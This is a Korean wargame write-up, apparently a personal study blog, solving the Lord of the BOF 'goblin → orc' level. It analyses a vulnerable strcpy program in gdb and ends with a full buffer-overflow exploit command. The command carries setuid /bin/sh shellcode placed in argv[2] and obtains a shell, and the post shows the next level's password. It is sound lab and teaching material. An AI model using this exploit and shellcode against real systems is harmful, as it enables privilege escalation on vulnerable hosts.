[lob] 해커스쿨 goblin -> orc 풀이
- 보안/HackerSchool-lob
- 2020. 1. 14. 01:15
해커스쿨 goblin 풀이
실행 환경 : VMware Workstation Pro, Red Hat Linux 6.2
** 공부를 하면서 기록하는 내용이다 보니 틀린 내용이 있을 수도 있습니다. 틀린 부분이 있다면 댓글로 알려주시면 감사드리겠습니다. **
goblin 문제의 아이디인 goblin 와 password인 hackers proof 을 입력하여 goblin의 유저로 접속합니다.
[goblin@localhost goblin]$ ls -l total 20 -rwsr-sr-x 1 orc orc 12567 Feb 26 2010 orc -rw-r--r-- 1 root root 505 Mar 29 2010 orc.c |
ls -l 명령어를 사용하여 현재 위치( /home/goblin ) 아래에 있는 디렉터리의 목록을 확인합니다.
목록들 중 orc.c파일을 읽어 어떤 식으로 문제를 풀어야 하는지 보도록 하겠습니다.
[goblin@localhost goblin]$ cat orc.c /* The Lord of the BOF : The Fellowship of the BOF - orc - egghunter */ #include <stdio.h> #include <stdlib.h> extern char **environ; # 외부에 선언된 변수인데 extern을 사용하면 우리 코드에서 사용 가능 main(int argc, char *argv[]) { char buffer[40]; int i; if(argc < 2){ printf("argv error\n"); exit(0); } // egghunter for(i=0; environ[i]; i++) memset(environ[i], 0, strlen(environ[i])); if(argv[1][47] != '\xbf') { printf("stack is still your friend.\n"); exit(0); } strcpy(buffer, argv[1]); printf("%s\n", buffer); } |
cat 명령어를 사용하여 orc.c파일을 확인해본 결과 위의 코드와 힌트를 볼 수 있습니다.
주석에 BOF라고 쓰여 있는 것을 보니 버퍼오버플로우를 이용한 문제인 것 같습니다.
힌트 코드를 보니
1. argv는 2 이상이어야 합니다.
2. egghunter 라고 쓰여있는 코드에 의해 환경 변수를 사용할 수가 없습니다.
3. argv[1]의 48번째 단어가 \xbf가 아니면 exit(0)를 실행하기 때문에 \xbf를 argv[1]의 48번째 위치에 넣어주어야 합니다.
[goblin@localhost goblin]$ cp orc goblin [goblin@localhost goblin]$ ls -l total 36 -rwsr-sr-x 1 goblin goblin 12567 Jan 10 11:53 goblin -rwsr-sr-x 1 orc orc 12567 Feb 26 2010 orc -rw-r--r-- 1 root root 505 Mar 29 2010 orc.c |
문제를 풀기 전 퍼미션 문제 때문에 orc 파일을 복사해 goblin이라는 이름의 파일을 하나 생성하였습니다.
[goblin@localhost goblin]$ gdb goblin GNU gdb 19991004 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-redhat-linux"... (gdb) disas main Dump of assembler code for function main: 0x8048500 <main>: push %ebp 0x8048503 <main+3>: sub $0x2c,%esp 0x8048506 <main+6>: cmpl $0x1,0x8(%ebp) 0x804850a <main+10>: jg 0x8048523 <main+35> 0x804850c <main+12>: push $0x8048630 0x8048511 <main+17>: call 0x8048410 <printf> 0x8048516 <main+22>: add $0x4,%esp 0x8048519 <main+25>: push $0x0 0x804851b <main+27>: call 0x8048420 <exit> 0x8048520 <main+32>: add $0x4,%esp 0x8048523 <main+35>: nop 0x8048524 <main+36>: movl $0x0,0xffffffd4(%ebp) 0x804852b <main+43>: nop 0x804852c <main+44>: lea 0x0(%esi,1),%esi 0x8048530 <main+48>: mov 0xffffffd4(%ebp),%eax 0x8048533 <main+51>: lea 0x0(,%eax,4),%edx 0x804853a <main+58>: mov 0x8049750,%eax 0x804853f <main+63>: cmpl $0x0,(%eax,%edx,1) 0x8048543 <main+67>: jne 0x8048547 <main+71> 0x8048545 <main+69>: jmp 0x8048587 <main+135> 0x8048547 <main+71>: mov 0xffffffd4(%ebp),%eax 0x804854a <main+74>: lea 0x0(,%eax,4),%edx 0x8048551 <main+81>: mov 0x8049750,%eax 0x8048556 <main+86>: mov (%eax,%edx,1),%edx 0x8048559 <main+89>: push %edx 0x804855a <main+90>: call 0x80483f0 <strlen> 0x804855f <main+95>: add $0x4,%esp 0x8048562 <main+98>: mov %eax,%eax 0x8048564 <main+100>: push %eax 0x8048565 <main+101>: push $0x0 0x8048567 <main+103>: mov 0xffffffd4(%ebp),%eax 0x804856a <main+106>: lea 0x0(,%eax,4),%edx 0x8048571 <main+113>: mov 0x8049750,%eax 0x8048576 <main+118>: mov (%eax,%edx,1),%edx 0x8048579 <main+121>: push %edx 0x804857a <main+122>: call 0x8048430 <memset> 0x804857f <main+127>: add $0xc,%esp 0x8048582 <main+130>: incl 0xffffffd4(%ebp) 0x8048585 <main+133>: jmp 0x8048530 <main+48> 0x8048587 <main+135>: mov 0xc(%ebp),%eax 0x804858a <main+138>: add $0x4,%eax ---Type to continue, or q to quit--- 0x804858d <main+141>: mov (%eax),%edx 0x804858f <main+143>: add $0x2f,%edx 0x8048592 <main+146>: cmpb $0xbf,(%edx) 0x8048595 <main+149>: je 0x80485b0 <main+176> 0x8048597 <main+151>: push $0x804863c 0x804859c <main+156>: call 0x8048410 <printf> 0x80485a1 <main+161>: add $0x4,%esp 0x80485a4 <main+164>: push $0x0 0x80485a6 <main+166>: call 0x8048420 <exit> 0x80485ab <main+171>: add $0x4,%esp 0x80485ae <main+174>: mov %esi,%esi 0x80485b0 <main+176>: mov 0xc(%ebp),%eax 0x80485b3 <main+179>: add $0x4,%eax 0x80485b6 <main+182>: mov (%eax),%edx 0x80485b8 <main+184>: push %edx 0x80485b9 <main+185>: lea 0xffffffd8(%ebp),%eax 0x80485bc <main+188>: push %eax 0x80485bd <main+189>: call 0x8048440 <strcpy> 0x80485c2 <main+194>: add $0x8,%esp 0x80485c5 <main+197>: lea 0xffffffd8(%ebp),%eax 0x80485c8 <main+200>: push %eax 0x80485c9 <main+201>: push $0x8048659 0x80485ce <main+206>: call 0x8048410 <printf> 0x80485d3 <main+211>: add $0x8,%esp 0x80485d6 <main+214>: leave 0x80485d7 <main+215>: ret 0x80485d8 <main+216>: nop 0x80485d9 <main+217>: nop 0x80485da <main+218>: nop 0x80485db <main+219>: nop 0x80485dc <main+220>: nop 0x80485dd <main+221>: nop 0x80485de <main+222>: nop 0x80485df <main+223>: nop End of assembler dump. |
goblin 파일을 gdb로 분석해보도록 하겠습니다.
disas main 명령을 통해 main의 어셈블리 코드를 보겠습니다. 우리는 여기서 빨간색 부분을 집중해 보도록 할 것입니다.
1. 0x8048503 <main+3>: sub $0x2c,%esp
0x2c을 십진수로 변환하면 44입니다. 위의 코드는 스택에 44byte의 영역을 할당하는 것을 의미합니다.
2. 0x80485bd <main+189>: call 0x8048440 <strcpy>
goblin.c 코드상에서 strcpy 부분을 보면 buffer에 argv[1]의 문자열을 대입하고 있습니다. 스택에 인자가 push 되는 순서는 argv[1]가 먼저 push 되고, 그다음 buffer가 push 됩니다. 따라서 <main + 185>의 ebp - [ffffffd8의 2의 보수 취한 값]이 buffer의 시작 위치가 됩니다.
11011000 => 00100111 => 00101000 => 8 + 32 = 40
buffer의 시작 지점이 ebp - 40부터인 것을 알 수 있습니다.
그렇게 되면 i의 경우 힌트 코드 상에서 buffer[40]보다 뒤에 선언되었고, 스택 영역에는 44byte가 할당되었기 때문에 ebp - 44부터 시작할 것입니다.
메모리 구조를 보면 아래와 같습니다.(argv[2]와 argv[1]에 대한 설명은 아래에 있습니다)
실행과 동시에 2개 이상의 인자가 전달 가능하므로 이번 문제를 풀 때에는 argv[2]의 영역을 이용해보도록 하겠습니다.
(gdb) b *main+194 Breakpoint 1 at 0x80485c2 (gdb) r `python -c 'print "A"*47+"\xbf"'` `python -c 'print "B"*100'` The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/goblin/goblin `python -c 'print "A"*47+"\xbf"'` `python -c 'print "B"*100'` (gdb) x/100x $esp 0xbffffa84: 0xbffffa90 0xbffffc17 0x00000013 0x41414141 0xbffffa94: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffffaa4: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffffab4: 0x41414141 0x41414141 0xbf414141 0x00000000 0xbffffac4: 0xbffffb04 0xbffffb14 0x40013868 0x00000003 0xbffffad4: 0x08048450 0x00000000 0x08048471 0x08048500 0xbffffae4: 0x00000003 0xbffffb04 0x08048390 0x0804860c 0xbffffaf4: 0x4000ae60 0xbffffafc 0x40013e90 0x00000003 0xbffffb04: 0xbffffc03 0xbffffc17 0xbffffc48 0x00000000 0xbffffb14: 0xbffffcad 0xbffffccf 0xbffffcd9 0xbffffce7 0xbffffb24: 0xbffffd06 0xbffffd15 0xbffffd2d 0xbffffd49 0xbffffb34: 0xbffffd54 0xbffffd62 0xbffffda4 0xbffffdb6 0xbffffb44: 0xbffffdcb 0xbffffddb 0xbffffde7 0xbffffe05 0xbffffb54: 0xbffffe10 0xbffffe1d 0xbffffe25 0x00000000 0xbffffb64: 0x00000003 0x08048034 0x00000004 0x00000020 0xbffffb74: 0x00000005 0x00000006 0x00000006 0x00001000 0xbffffb84: 0x00000007 0x40000000 0x00000008 0x00000000 0xbffffb94: 0x00000009 0x08048450 0x0000000b 0x000001f7 0xbffffba4: 0x0000000c 0x000001f7 0x0000000d 0x000001f7 0xbffffbb4: 0x0000000e 0x000001f7 0x00000010 0x0f8bfbff 0xbffffbc4: 0x0000000f 0xbffffbfe 0x00000000 0x00000000 0xbffffbd4: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffbe4: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffbf4: 0x00000000 0x00000000 0x36690000 0x2f003638 0xbffffc04: 0x656d6f68 0x626f672f 0x2f6e696c 0x6c626f67 (gdb) 0xbffffc14: 0x41006e69 0x41414141 0x41414141 0x41414141 0xbffffc24: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffffc34: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffffc44: 0x00bf4141 0x42424242 0x42424242 0x42424242 0xbffffc54: 0x42424242 0x42424242 0x42424242 0x42424242 0xbffffc64: 0x42424242 0x42424242 0x42424242 0x42424242 0xbffffc74: 0x42424242 0x42424242 0x42424242 0x42424242 0xbffffc84: 0x42424242 0x42424242 0x42424242 0x42424242 0xbffffc94: 0x42424242 0x42424242 0x42424242 0x42424242 0xbffffca4: 0x42424242 0x42424242 0x00000000 0x00000000 0xbffffcb4: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffcc4: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffcd4: 0x00000000 0x00000000 0x00000000 |
인자로 `python -c 'print "A"*47+"\xbf"'` , `python -c 'print "B"*100'` 이렇게 두 개를 넘겨주었습니다. argv[1][47]을 '\xbf'로 채워주어 프로그램이 중간에서 끝나지 않도록 해 주고 argv[2]에는 B를 100개를 채워주었습니다.
gdb로 확인해본 결과 빨간색 배경색 부분이 argv[2]의 시작 지점입니다. 즉 argv[2]의 주소는 0xbffffc48 부터 시작됩니다.
그럼 이번 레벨 문제를 풀기 위해서 argv[2]에 셸 코드를 넣어주고, return을 argv[2] 주소로 채워주면 될 것입니다. buffer는 ebp - 40부터 시작되고, 앞에서 사용했던 setuid가 포함된 41바이트의 셸 코드를 사용하겠습니다.
페이로드를 구성해보면 다음과 같습니다. \x90으로 sfp까지 44byte를 채워주고 return 부분에는 0xbffffc48을 argv[2]에는 셸 코드를 넣어줄 것입니다.
페이로드
./orc `python -c 'print "\x90"*44+"\x48\xfc\xff\xbf"'` `python -
c 'print "\x90"*100+"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\
xc2\xb0\x0b\xcd\x80"'`
[goblin@localhost goblin]$ bash2 [goblin@localhost goblin]$ ./orc `python -c 'print "\x90"*44+"\x48\xfc\xff\xbf"'` `python -c 'print "\x90"*100+"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73 \x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'` Hüÿ¿ bash$ my-pass euid = 504 cantata |
LOB 문제를 풀 때에는 bash2를 필수적으로 입력해주셔야 합니다.
bash2를 입력 후 위의 페이로드를 넣어보니 셸을 취득할 수 있습니다. 셸 취득 후 my-pass를 입력하게 되면 orc user의 password를 알 수 있습니다.
orc 비밀번호
euid = 504
cantata
'보안 > HackerSchool-lob' 카테고리의 다른 글
[lob] 해커스쿨 wolfman -> darkelf 풀이 (0) | 2020.01.16 |
---|---|
[lob] 해커스쿨 orc -> wolfman 풀이 (0) | 2020.01.14 |
[lob] 해커스쿨 cobolt -> goblin 풀이 (0) | 2020.01.12 |
[lob] 해커스쿨 gremlin -> cobolt 풀이 (0) | 2020.01.11 |
[lob] 해커스쿨 gate -> gremlin 풀이 (0) | 2020.01.10 |
이 글을 공유하기